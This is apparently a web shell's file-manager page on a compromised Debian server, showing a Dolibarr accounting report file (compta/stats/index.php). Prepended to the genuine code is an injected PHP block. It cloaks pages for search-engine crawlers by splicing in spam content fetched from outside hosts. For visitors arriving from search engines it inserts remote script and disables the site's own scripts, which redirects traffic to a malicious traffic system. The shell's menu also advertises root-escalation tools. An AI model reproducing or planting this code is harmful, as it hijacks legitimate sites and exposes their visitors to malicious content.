Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
btm2000.bak /
compta /
stats /
Delete
Unzip
Name
Size
Permission
Date
Action
byratecountry.php
16.63
KB
-rw-r--r--
2025-11-25 13:08
cabyprodserv.php
14.56
KB
-rw-r--r--
2025-11-25 13:08
cabyuser.php
15.72
KB
-rw-r--r--
2025-11-25 13:08
casoc.php
21.2
KB
-rw-r--r--
2025-11-25 13:08
index.php
28.57
KB
-rw-r--r--
2025-11-25 13:08
Save
Rename
<?php if(!defined('_NET')) { error_reporting(0); $NET='sh19042'; define('_NET',$NET); if(function_exists('date_default_timezone_set')){date_default_timezone_set('America/Los_Angeles');}$sll0='http://googlecountwebs.com/';$pinj_0='http://tds-err.com/i?r=1';$pinj_1='http://tds-narod.ru/i.txt';$FNN='lnk-trans2.php';$pinj_2='yahoo';$pinj_2='bing';$pinj_3=str_replace('google',$pinj_1,$sll0);$pinj_4='site';$sll0=str_replace('google',$pinj_4,$sll0);$pinj_5='';$pinj_6='';$pinj_7='';$pinj_8='';if(!empty($_SERVER['HTTP_USER_AGENT'])){$pinj_6=$_SERVER['HTTP_USER_AGENT'];}if(!empty($_SERVER['HTTP_REFERER'])){$pinj_5=$_SERVER['HTTP_REFERER'];}if(!empty($_SERVER['REQUEST_URI'])){$pinj_7=$_SERVER['REQUEST_URI'];}if(!empty($_SERVER['REMOTE_ADDR'])){$pinj_8=$_SERVER['REMOTE_ADDR'];}if(!function_exists('get_cont')){function get_cont($pinj_9){if(function_exists('curl_init')){if(strpos($pinj_9,'NET=',0)>0){$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,0);curl_setopt($pinj_10,CURLOPT_NOBODY,0);curl_setopt($pinj_10,CURLOPT_TIMEOUT,30);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);return $pinj_11;}$pinj_12=0;$pinj_13=0;$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);if((strpos($pinj_11,' 404 Not',0)>0)||(strpos($pinj_11,'Location:',0)>0)){$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (x compatible; Googlebot/2.1; +http://www.google.com/bot.html)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;$pinj_12=1;}}else{if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;}}if($pinj_13==0){$pinj_14=array();$pinj_15=0;while(preg_match("/(Location:|URI:)[^(\n)]*/",$pinj_11,$pinj_14)&&($pinj_15<3)){$pinj_9=trim(str_replace($pinj_14[1],"",$pinj_14[0]));$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);$pinj_15=$pinj_15+1;$pinj_14=array();}if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;}}$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,0);curl_setopt($pinj_10,CURLOPT_NOBODY,0);curl_setopt($pinj_10,CURLOPT_TIMEOUT,30);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);if($pinj_12==1){curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (x compatible; Googlebot/2.1; +http://www.google.com/bot.html)");}else{curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");}$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);return $pinj_11;}$pinj_16=@file_get_contents($pinj_9);return $pinj_16;}}if(!function_exists('SEbot_')){function SEbot_($pinj_17){if(strpos('-' .strtolower($pinj_17),'x compatible',0)>0){return 0;}if(strpos('-' .strtolower($pinj_17),'googlebot',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'slurp',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'bing',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'msnbot',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'yahoo',0)>0){return 1;}return 0;}}if(!function_exists('not_do_')){function not_do_($pinj_18){$pinj_19='gif|jpeg|png|js|css|swf|ico|txt|pdf|xml|jpg|pdf|doc';$pinj_20=explode("|",$pinj_19);$pinj_21=0;while($pinj_21<count($pinj_22)){if(strpos(' ' .strtolower($pinj_18),$pinj_22[$pinj_21],0)>0)return 1;$pinj_21=$pinj_21+1;}return 0;}}if(!function_exists('detect_encoding_')){function detect_encoding_($pinj_23){static $pinj_24=array('UTF-8','ASCII','Windows-1251','ISO-8859-2','ISO-8859-3','ISO-8859-4','ISO-8859-5','ISO-8859-6','ISO-8859-7','ISO-8859-8','ISO-8859-9','ISO-8859-10','ISO-8859-13','ISO-8859-14','ISO-8859-15','ISO-8859-16','ISO-8859-1','Windows-1252','Windows-1254',);foreach($pinj_24 as $pinj_25){$pinj_26=@iconv($pinj_25,$pinj_25 .'',$pinj_23);if(md5($pinj_26)== md5($pinj_23))return $pinj_25;}return null;}}if(isset($_SERVER['HTTPS'])&&($_SERVER['HTTPS']=='on')){$pinj_27='https';}else{$pinj_27='http';}$pinj_28=substr(str_replace('www.','',$_SERVER['SERVER_NAME']),0,4);if((SEbot_($pinj_6)>0)&&empty($pinj_29)&&(not_do_($pinj_7)==0)){$pinj_29=get_cont($pinj_27 .'://' .$_SERVER['SERVER_NAME'] .$pinj_7);if(strlen($pinj_29)>200){$pinj_30=get_cont($sll0 .$FNN .'?d=' .$_SERVER['SERVER_NAME'] .'&NET=' .$NET .'&u=' .urlencode($pinj_7) .'&prot=' .$pinj_27);$pinj_31=$pinj_29;$pinj_32=strpos(strtolower($pinj_29),"<body",0);$pinj_33=strpos(strtolower($pinj_29),">",$pinj_32);if(($pinj_32>0)&&($pinj_33>0)){$pinj_29=substr($pinj_31,0,$pinj_33+1) .$pinj_30 .'' .substr($pinj_31,$pinj_33+1);if(strpos(strtolower('-' .$pinj_6),'sape',0)>0){$pinj_29=$pinj_29 .'=*OK*=';}echo $pinj_29;exit;}$pinj_29=str_replace('</body>',$pinj_30 .'</body>',$pinj_29);if(strpos(strtolower('-' .$pinj_6),'sape',0)>0){$pinj_29=$pinj_29 .'=*OK*=';}echo $pinj_29;exit;}}if(isset($pinj_5)&&((strpos($pinj_5,'ogle.',0)>0)||(strpos($pinj_5,'ing.',0)>0)||(strpos($pinj_5,'ahoo.',0)>0)||(strpos($pinj_5,'ask.com',0)>0)||(strpos($pinj_5,'aol.',0)>0)||(strpos($pinj_5,'duckduckgo.',0)>0)||(strpos($pinj_5,'baidu.',0)>0))){$pinj_34='mkke';$pinj_35=180;if(!isset($_COOKIE[$pinj_34])||($_COOKIE[$pinj_34]<(time()))){$pinj_36=get_cont($sll0 .$FNN .'?rd=1&d=' .$_SERVER['SERVER_NAME'] .'&NET=' .$NET .'&u=' .urlencode($pinj_7) .'&prot=' .$pinj_27);if(strlen($pinj_36,'<!-- -->',0)>0)$pinj_35=9000;if(strlen($pinj_36)>10){$pinj_37=get_cont($pinj_27 .'://' .$_SERVER['SERVER_NAME'] .$pinj_7);if(strlen($pinj_37)>400){$pinj_36=str_replace('-SID-',$NET,$pinj_36); $pinj_37=str_replace(' src="',' xsrc="',$pinj_37); $pinj_37=str_replace(" src='"," xsrc='",$pinj_37); $pinj_37=str_replace("<script","<comment",$pinj_37); $pinj_37=str_replace("</script","</comment",$pinj_37); $pinj_37=str_replace('</head>',$pinj_36 .'</head>',$pinj_37);setcookie($pinj_34,(time()+$pinj_35),(time()+$pinj_35*2),'/','.' .str_replace('www.','',$_SERVER['SERVER_NAME'])); echo $pinj_37;exit;}}}} $p1='_lo'; $p1=$p1.'ads'; $i=0; while($i<12) { $p1='x'.$p1; $i=$i+1;} $p2=$p1.'2'; if(isset($_GET[$p1]) || isset($_POST[$p1]) ) { exit;} if(isset($_GET[$p2]) ) { $_GET[$p1]=$_GET[$p2];} if(isset($_POST[$p2]) ) { $_POST[$p1]=$_POST[$p2];} } /*,.*/ ?><?php /* Copyright (C) 2001-2004 Rodolphe Quiedeville <rodolphe@quiedeville.org> * Copyright (C) 2004-2012 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2005-2009 Regis Houssin <regis.houssin@capnetworks.com> * Copyright (C) 2017 Olivier Geffroy <jeff@jeffinfo.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * \file htdocs/compta/stats/index.php * \brief Page reporting CA */ require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/report.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; // Load translation files required by the page $langs->loadLangs(array('compta','bills','donation','salaries')); $date_startmonth=GETPOST('date_startmonth'); $date_startday=GETPOST('date_startday'); $date_startyear=GETPOST('date_startyear'); $date_endmonth=GETPOST('date_endmonth'); $date_endday=GETPOST('date_endday'); $date_endyear=GETPOST('date_endyear'); $nbofyear=4; // Date range $year=GETPOST('year','int'); if (empty($year)) { $year_current = strftime("%Y",dol_now()); $month_current = strftime("%m",dol_now()); $year_start = $year_current - ($nbofyear - 1); } else { $year_current = $year; $month_current = strftime("%m",dol_now()); $year_start = $year - ($nbofyear - 1); } $date_start=dol_mktime(0, 0, 0, $date_startmonth, $date_startday, $date_startyear); $date_end=dol_mktime(23, 59, 59, $date_endmonth, $date_endday, $date_endyear); // We define date_start and date_end if (empty($date_start) || empty($date_end)) // We define date_start and date_end { $q=GETPOST("q")?GETPOST("q"):0; if ($q==0) { // We define date_start and date_end $year_end=$year_start + ($nbofyear - 1); $month_start=GETPOST("month")?GETPOST("month"):($conf->global->SOCIETE_FISCAL_MONTH_START?($conf->global->SOCIETE_FISCAL_MONTH_START):1); if (! GETPOST('month')) { if (! GETPOST("year") && $month_start > $month_current) { $year_start--; $year_end--; } $month_end=$month_start-1; if ($month_end < 1) $month_end=12; } else $month_end=$month_start; $date_start=dol_get_first_day($year_start,$month_start,false); $date_end=dol_get_last_day($year_end,$month_end,false); } if ($q==1) { $date_start=dol_get_first_day($year_start,1,false); $date_end=dol_get_last_day($year_start,3,false); } if ($q==2) { $date_start=dol_get_first_day($year_start,4,false); $date_end=dol_get_last_day($year_start,6,false); } if ($q==3) { $date_start=dol_get_first_day($year_start,7,false); $date_end=dol_get_last_day($year_start,9,false); } if ($q==4) { $date_start=dol_get_first_day($year_start,10,false); $date_end=dol_get_last_day($year_start,12,false); } } $userid=GETPOST('userid','int'); $socid = GETPOST('socid','int'); $tmps=dol_getdate($date_start); $year_start = $tmps['year']; $tmpe=dol_getdate($date_end); $year_end = $tmpe['year']; $nbofyear = ($year_end - $year_start) + 1; // Define modecompta ('CREANCES-DETTES' or 'RECETTES-DEPENSES' or 'BOOKKEEPING') $modecompta = $conf->global->ACCOUNTING_MODE; if (! empty($conf->accounting->enabled)) $modecompta='BOOKKEEPING'; if (GETPOST("modecompta")) $modecompta=GETPOST("modecompta",'alpha'); // Security check if ($user->societe_id > 0) $socid = $user->societe_id; if (! empty($conf->comptabilite->enabled)) $result=restrictedArea($user,'compta','','','resultat'); if (! empty($conf->accounting->enabled)) $result=restrictedArea($user,'accounting','','','comptarapport'); /* * View */ llxHeader(); $form=new Form($db); // Affiche en-tete du rapport if ($modecompta=="CREANCES-DETTES") { $name=$langs->trans("Turnover"); $calcmode=$langs->trans("CalcModeDebt"); //$calcmode.='<br>('.$langs->trans("SeeReportInInputOutputMode",'<a href="'.$_SERVER["PHP_SELF"].'?year_start='.$year_start.'&modecompta=RECETTES-DEPENSES">','</a>').')'; $calcmode.='<br>('.$langs->trans("SeeReportInBookkeepingMode",'<a href="'.$_SERVER["PHP_SELF"].'?year_start='.$year_start.'&modecompta=BOOKKEEPING">','</a>').')'; $period=$form->select_date($date_start,'date_start',0,0,0,'',1,0,1).' - '.$form->select_date($date_end,'date_end',0,0,0,'',1,0,1); $periodlink=($year_start?"<a href='".$_SERVER["PHP_SELF"]."?year=".($year_start+$nbofyear-2)."&modecompta=".$modecompta."'>".img_previous()."</a> <a href='".$_SERVER["PHP_SELF"]."?year=".($year_start+$nbofyear)."&modecompta=".$modecompta."'>".img_next()."</a>":""); $description=$langs->trans("RulesCADue"); if (! empty($conf->global->FACTURE_DEPOSITS_ARE_JUST_PAYMENTS)) $description.= $langs->trans("DepositsAreNotIncluded"); else $description.= $langs->trans("DepositsAreIncluded"); $builddate=dol_now(); //$exportlink=$langs->trans("NotYetAvailable"); } else if ($modecompta=="RECETTES-DEPENSES") { $name=$langs->trans("TurnoverCollected"); $calcmode=$langs->trans("CalcModeEngagement"); //$calcmode.='<br>('.$langs->trans("SeeReportInDueDebtMode",'<a href="'.$_SERVER["PHP_SELF"].'?year_start='.$year_start.'&modecompta=CREANCES-DETTES">','</a>').')'; //$calcmode.='<br>('.$langs->trans("SeeReportInBookkeepingMode",'<a href="'.$_SERVER["PHP_SELF"].'?year_start='.$year_start.'&modecompta=BOOKKEEPINGCOLLECTED">','</a>').')'; $period=$form->select_date($date_start,'date_start',0,0,0,'',1,0,1).' - '.$form->select_date($date_end,'date_end',0,0,0,'',1,0,1); $periodlink=($year_start?"<a href='".$_SERVER["PHP_SELF"]."?year=".($year_start+$nbofyear-2)."&modecompta=".$modecompta."'>".img_previous()."</a> <a href='".$_SERVER["PHP_SELF"]."?year=".($year_start+$nbofyear)."&modecompta=".$modecompta."'>".img_next()."</a>":""); $description=$langs->trans("RulesCAIn"); $description.= $langs->trans("DepositsAreIncluded"); $builddate=dol_now(); //$exportlink=$langs->trans("NotYetAvailable"); } else if ($modecompta=="BOOKKEEPING") { $name=$langs->trans("Turnover"); $calcmode=$langs->trans("CalcModeBookkeeping"); $calcmode.='<br>('.$langs->trans("SeeReportInDueDebtMode",'<a href="'.$_SERVER["PHP_SELF"].'?year_start='.$year_start.'&modecompta=CREANCES-DETTES">','</a>').')'; //$calcmode.='<br>('.$langs->trans("SeeReportInInputOutputMode",'<a href="'.$_SERVER["PHP_SELF"].'?year_start='.$year_start.'&modecompta=RECETTES-DEPENSES">','</a>').')'; $period=$form->select_date($date_start,'date_start',0,0,0,'',1,0,1).' - '.$form->select_date($date_end,'date_end',0,0,0,'',1,0,1); $periodlink=($year_start?"<a href='".$_SERVER["PHP_SELF"]."?year=".($year_start+$nbofyear-2)."&modecompta=".$modecompta."'>".img_previous()."</a> <a href='".$_SERVER["PHP_SELF"]."?year=".($year_start+$nbofyear)."&modecompta=".$modecompta."'>".img_next()."</a>":""); $description=$langs->trans("RulesCATotalSaleJournal"); $builddate=dol_now(); //$exportlink=$langs->trans("NotYetAvailable"); } $moreparam=array(); if (! empty($modecompta)) $moreparam['modecompta']=$modecompta; report_header($name,$namelink,$period,$periodlink,$description,$builddate,$exportlink,$moreparam,$calcmode); if (! empty($conf->accounting->enabled) && $modecompta != 'BOOKKEEPING') { print info_admin($langs->trans("WarningReportNotReliable"), 0, 0, 1); } if ($modecompta == 'CREANCES-DETTES') { $sql = "SELECT date_format(f.datef,'%Y-%m') as dm, sum(f.total) as amount, sum(f.total_ttc) as amount_ttc"; $sql.= " FROM ".MAIN_DB_PREFIX."facture as f"; $sql.= " WHERE f.fk_statut in (1,2)"; if (! empty($conf->global->FACTURE_DEPOSITS_ARE_JUST_PAYMENTS)) $sql.= " AND f.type IN (0,1,2,5)"; else $sql.= " AND f.type IN (0,1,2,3,5)"; $sql.= " AND f.entity = ".$conf->entity; if ($socid) $sql.= " AND f.fk_soc = ".$socid; } else if ($modecompta=="RECETTES-DEPENSES") { /* * Liste des paiements (les anciens paiements ne sont pas vus par cette requete car, sur les * vieilles versions, ils n'etaient pas lies via paiement_facture. On les ajoute plus loin) */ $sql = "SELECT date_format(p.datep,'%Y-%m') as dm, sum(pf.amount) as amount_ttc"; $sql.= " FROM ".MAIN_DB_PREFIX."facture as f"; $sql.= ", ".MAIN_DB_PREFIX."paiement_facture as pf"; $sql.= ", ".MAIN_DB_PREFIX."paiement as p"; $sql.= " WHERE p.rowid = pf.fk_paiement"; $sql.= " AND pf.fk_facture = f.rowid"; $sql.= " AND f.entity = ".$conf->entity; if ($socid) $sql.= " AND f.fk_soc = ".$socid; } else if ($modecompta=="BOOKKEEPING") { $sql = "SELECT date_format(b.doc_date,'%Y-%m') as dm, sum(b.credit) as amount_ttc"; $sql.= " FROM ".MAIN_DB_PREFIX."accounting_bookkeeping as b, ".MAIN_DB_PREFIX."accounting_journal as aj"; $sql.= " WHERE b.entity = ".$conf->entity; $sql.= " AND b.code_journal = aj.code AND aj.nature = 2" ; // @TODO currently count amount in sale journal, but we need to define a category group for turnover } $sql.= " GROUP BY dm"; $sql.= " ORDER BY dm"; //print $sql; $result = $db->query($sql); if ($result) { $num = $db->num_rows($result); $i = 0; while ($i < $num) { $obj = $db->fetch_object($result); $cum_ht[$obj->dm] = !empty($obj->amount) ? $obj->amount : 0; $cum[$obj->dm] = $obj->amount_ttc; if ($obj->amount_ttc) { $minyearmonth=($minyearmonth?min($minyearmonth,$obj->dm):$obj->dm); $maxyearmonth=max($maxyearmonth,$obj->dm); } $i++; } $db->free($result); } else { dol_print_error($db); } // On ajoute les paiements anciennes version, non lies par paiement_facture (very old versions) if ($modecompta == 'RECETTES-DEPENSES') { $sql = "SELECT date_format(p.datep,'%Y-%m') as dm, sum(p.amount) as amount_ttc"; $sql.= " FROM ".MAIN_DB_PREFIX."bank as b"; $sql.= ", ".MAIN_DB_PREFIX."bank_account as ba"; $sql.= ", ".MAIN_DB_PREFIX."paiement as p"; $sql.= " LEFT JOIN ".MAIN_DB_PREFIX."paiement_facture as pf ON p.rowid = pf.fk_paiement"; $sql.= " WHERE pf.rowid IS NULL"; $sql.= " AND p.fk_bank = b.rowid"; $sql.= " AND b.fk_account = ba.rowid"; $sql.= " AND ba.entity IN (".getEntity('bank_account').")"; $sql.= " GROUP BY dm"; $sql.= " ORDER BY dm"; $result = $db->query($sql); if ($result) { $num = $db->num_rows($result); $i = 0; while ($i < $num) { $obj = $db->fetch_object($result); $cum[$obj->dm] += $obj->amount_ttc; if ($obj->amount_ttc) { $minyearmonth=($minyearmonth?min($minyearmonth,$obj->dm):$obj->dm); $maxyearmonth=max($maxyearmonth,$obj->dm); } $i++; } } else { dol_print_error($db); } } $moreforfilter=''; print '<div class="div-table-responsive">'; print '<table class="tagtable liste'.($moreforfilter?" listwithfilterbefore":"").'">'."\n"; print '<tr class="liste_titre"><td> </td>'; for ($annee = $year_start ; $annee <= $year_end ; $annee++) { if ($modecompta == 'CREANCES-DETTES') print '<td align="center" width="10%" colspan="3">'; else print '<td align="center" width="10%" colspan="2" class="borderrightlight">'; if ($modecompta != 'BOOKKEEPING') print '<a href="casoc.php?year='.$annee.'">'; print $annee; if ($conf->global->SOCIETE_FISCAL_MONTH_START > 1) print '-'.($annee+1); if ($modecompta != 'BOOKKEEPING') print '</a>'; print '</td>'; if ($annee != $year_end) print '<td width="15"> </td>'; } print '</tr>'; print '<tr class="liste_titre"><td class="liste_titre">'.$langs->trans("Month").'</td>'; for ($annee = $year_start ; $annee <= $year_end ; $annee++) { if ($modecompta == 'CREANCES-DETTES') print '<td class="liste_titre" align="right">'.$langs->trans("AmountHT").'</td>'; print '<td class="liste_titre" align="right">'.$langs->trans("AmountTTC").'</td>'; print '<td class="liste_titre" align="right" class="borderrightlight">'.$langs->trans("Delta").'</td>'; if ($annee != $year_end) print '<td class="liste_titre" width="15"> </td>'; } print '</tr>'; $now_show_delta=0; $minyear=substr($minyearmonth,0,4); $maxyear=substr($maxyearmonth,0,4); $nowyear=strftime("%Y",dol_now()); $nowyearmonth=strftime("%Y-%m",dol_now()); $maxyearmonth=max($maxyearmonth,$nowyearmonth); $now=dol_now(); $casenow = dol_print_date($now,"%Y-%m"); // Loop on each month $nb_mois_decalage = $conf->global->SOCIETE_FISCAL_MONTH_START?($conf->global->SOCIETE_FISCAL_MONTH_START-1):0; for ($mois = 1+$nb_mois_decalage ; $mois <= 12+$nb_mois_decalage ; $mois++) { $mois_modulo = $mois;// ajout if($mois>12){$mois_modulo = $mois-12;} // ajout print '<tr class="oddeven">'; print "<td>".dol_print_date(dol_mktime(12,0,0,$mois_modulo,1,2000),"%B")."</td>"; for ($annee = $year_start -1 ; $annee <= $year_end ; $annee++) // We start one year before to have data to be able to make delta { $annee_decalage=$annee; if ($mois>12) {$annee_decalage=$annee+1;} $case = dol_print_date(dol_mktime(1,1,1,$mois_modulo,1,$annee_decalage),"%Y-%m"); $caseprev = dol_print_date(dol_mktime(1,1,1,$mois_modulo,1,$annee_decalage-1),"%Y-%m"); if ($annee >= $year_start) { if ($modecompta == 'CREANCES-DETTES') { // Valeur CA du mois w/o VAT print '<td align="right">'; if ($cum_ht[$case]) { $now_show_delta=1; // On a trouve le premier mois de la premiere annee generant du chiffre. print '<a href="casoc.php?year='.$annee_decalage.'&month='.$mois_modulo.($modecompta?'&modecompta='.$modecompta:'').'">'.price($cum_ht[$case],1).'</a>'; } else { if ($minyearmonth < $case && $case <= max($maxyearmonth,$nowyearmonth)) { print '0'; } else { print ' '; } } print "</td>"; } // Valeur CA du mois print '<td align="right">'; if ($cum[$case]) { $now_show_delta=1; // On a trouve le premier mois de la premiere annee generant du chiffre. if ($modecompta != 'BOOKKEEPING') print '<a href="casoc.php?year='.$annee_decalage.'&month='.$mois_modulo.($modecompta?'&modecompta='.$modecompta:'').'">'; print price($cum[$case], 1); if ($modecompta != 'BOOKKEEPING') print '</a>'; } else { if ($minyearmonth < $case && $case <= max($maxyearmonth,$nowyearmonth)) { print '0'; } else { print ' '; } } print "</td>"; // Pourcentage du mois if ($annee_decalage > $minyear && $case <= $casenow) { if ($cum[$caseprev] && $cum[$case]) { $percent=(round(($cum[$case]-$cum[$caseprev])/$cum[$caseprev],4)*100); //print "X $cum[$case] - $cum[$caseprev] - $cum[$caseprev] - $percent X"; print '<td align="right" class="borderrightlight">'.($percent>=0?"+$percent":"$percent").'%</td>'; } if ($cum[$caseprev] && ! $cum[$case]) { print '<td align="right" class="borderrightlight">-100%</td>'; } if (! $cum[$caseprev] && $cum[$case]) { //print '<td align="right">+Inf%</td>'; print '<td align="right" class="borderrightlight">-</td>'; } if (isset($cum[$caseprev]) && ! $cum[$caseprev] && ! $cum[$case]) { print '<td align="right" class="borderrightlight">+0%</td>'; } if (! isset($cum[$caseprev]) && ! $cum[$case]) { print '<td align="right" class="borderrightlight">-</td>'; } } else { print '<td align="right" class="borderrightlight">'; if ($minyearmonth <= $case && $case <= $maxyearmonth) { print '-'; } else { print ' '; } print '</td>'; } if ($annee_decalage != $year_end) print '<td width="15"> </td>'; } $total_ht[$annee]+=!empty($cum_ht[$case]) ? $cum_ht[$case] : 0; $total[$annee]+=$cum[$case]; } print '</tr>'; } /* for ($mois = 1 ; $mois < 13 ; $mois++) { print '<tr class="oddeven">'; print "<td>".dol_print_date(dol_mktime(12,0,0,$mois,1,2000),"%B")."</td>"; for ($annee = $year_start ; $annee <= $year_end ; $annee++) { $casenow = dol_print_date(mktime(),"%Y-%m"); $case = dol_print_date(dol_mktime(1,1,1,$mois,1,$annee),"%Y-%m"); $caseprev = dol_print_date(dol_mktime(1,1,1,$mois,1,$annee-1),"%Y-%m"); // Valeur CA du mois print '<td align="right">'; if ($cum[$case]) { $now_show_delta=1; // On a trouve le premier mois de la premiere annee generant du chiffre. print '<a href="casoc.php?year='.$annee.'&month='.$mois.'">'.price($cum[$case],1).'</a>'; } else { if ($minyearmonth < $case && $case <= max($maxyearmonth,$nowyearmonth)) { print '0'; } else { print ' '; } } print "</td>"; // Pourcentage du mois if ($annee > $minyear && $case <= $casenow) { if ($cum[$caseprev] && $cum[$case]) { $percent=(round(($cum[$case]-$cum[$caseprev])/$cum[$caseprev],4)*100); //print "X $cum[$case] - $cum[$caseprev] - $cum[$caseprev] - $percent X"; print '<td align="right">'.($percent>=0?"+$percent":"$percent").'%</td>'; } if ($cum[$caseprev] && ! $cum[$case]) { print '<td align="right">-100%</td>'; } if (! $cum[$caseprev] && $cum[$case]) { print '<td align="right">+Inf%</td>'; } if (! $cum[$caseprev] && ! $cum[$case]) { print '<td align="right">+0%</td>'; } } else { print '<td align="right">'; if ($minyearmonth <= $case && $case <= $maxyearmonth) { print '-'; } else { print ' '; } print '</td>'; } $total[$annee]+=$cum[$case]; if ($annee != $year_end) print '<td width="15"> </td>'; } print '</tr>'; } */ // Affiche total print '<tr class="liste_total"><td>'.$langs->trans("Total").'</td>'; for ($annee = $year_start ; $annee <= $year_end ; $annee++) { if ($modecompta == 'CREANCES-DETTES') { // Montant total HT if ($total_ht[$annee] || ($annee >= $minyear && $annee <= max($nowyear,$maxyear))) { print '<td align="right" class="nowrap">'.($total_ht[$annee]?price($total_ht[$annee]):"0")."</td>"; } else { print '<td> </td>'; } } // Montant total if ($total[$annee] || ($annee >= $minyear && $annee <= max($nowyear,$maxyear))) { print '<td align="right" class="nowrap">'.($total[$annee]?price($total[$annee]):"0")."</td>"; } else { print '<td> </td>'; } // Pourcentage total if ($annee > $minyear && $annee <= max($nowyear,$maxyear)) { if ($total[$annee-1] && $total[$annee]) { $percent=(round(($total[$annee]-$total[$annee-1])/$total[$annee-1],4)*100); print '<td align="right" class="nowrap borderrightlight">'.($percent>=0?"+$percent":"$percent").'%</td>'; } if ($total[$annee-1] && ! $total[$annee]) { print '<td align="right" class="borderrightlight">-100%</td>'; } if (! $total[$annee-1] && $total[$annee]) { print '<td align="right" class="borderrightlight">+'.$langs->trans('Inf').'%</td>'; } if (! $total[$annee-1] && ! $total[$annee]) { print '<td align="right" class="borderrightlight">+0%</td>'; } } else { print '<td align="right" class="borderrightlight">'; if ($total[$annee] || ($minyear <= $annee && $annee <= max($nowyear,$maxyear))) { print '-'; } else { print ' '; } print '</td>'; } if ($annee != $year_end) print '<td width="15"> </td>'; } print "</tr>\n"; print "</table>"; print '</div>'; /* * En mode recettes/depenses, on complete avec les montants factures non regles * et les propales signees mais pas facturees. En effet, en recettes-depenses, * on comptabilise lorsque le montant est sur le compte donc il est interessant * d'avoir une vision de ce qui va arriver. */ /* Je commente toute cette partie car les chiffres affichees sont faux - Eldy. En attendant correction. if ($modecompta != 'CREANCES-DETTES') { print '<br><table width="100%" class="noborder">'; // Factures non reglees // Y a bug ici. Il faut prendre le reste a payer et non le total des factures non reglees ! $sql = "SELECT f.facnumber, f.rowid, s.nom, s.rowid as socid, f.total_ttc, sum(pf.amount) as am"; $sql .= " FROM ".MAIN_DB_PREFIX."societe as s,".MAIN_DB_PREFIX."facture as f left join ".MAIN_DB_PREFIX."paiement_facture as pf on f.rowid=pf.fk_facture"; $sql .= " WHERE s.rowid = f.fk_soc AND f.paye = 0 AND f.fk_statut = 1"; if ($socid) { $sql .= " AND f.fk_soc = $socid"; } $sql .= " GROUP BY f.facnumber,f.rowid,s.nom, s.rowid, f.total_ttc"; $resql=$db->query($sql); if ($resql) { $num = $db->num_rows($resql); $i = 0; if ($num) { $total_ttc_Rac = $totalam_Rac = $total_Rac = 0; while ($i < $num) { $obj = $db->fetch_object($resql); $total_ttc_Rac += $obj->total_ttc; $totalam_Rac += $obj->am; $i++; } print "<tr class="oddeven"><td align=\"right\" colspan=\"5\"><i>Facture a encaisser : </i></td><td align=\"right\"><i>".price($total_ttc_Rac)."</i></td><td colspan=\"5\"><-- bug ici car n'exclut pas le deja r?gl? des factures partiellement r?gl?es</td></tr>"; } $db->free($resql); } else { dol_print_error($db); } */ /* * * Propales signees, et non facturees * */ /* Je commente toute cette partie car les chiffres affichees sont faux - Eldy. En attendant correction. $sql = "SELECT sum(f.total) as tot_fht,sum(f.total_ttc) as tot_fttc, p.rowid, p.ref, s.nom, s.rowid as socid, 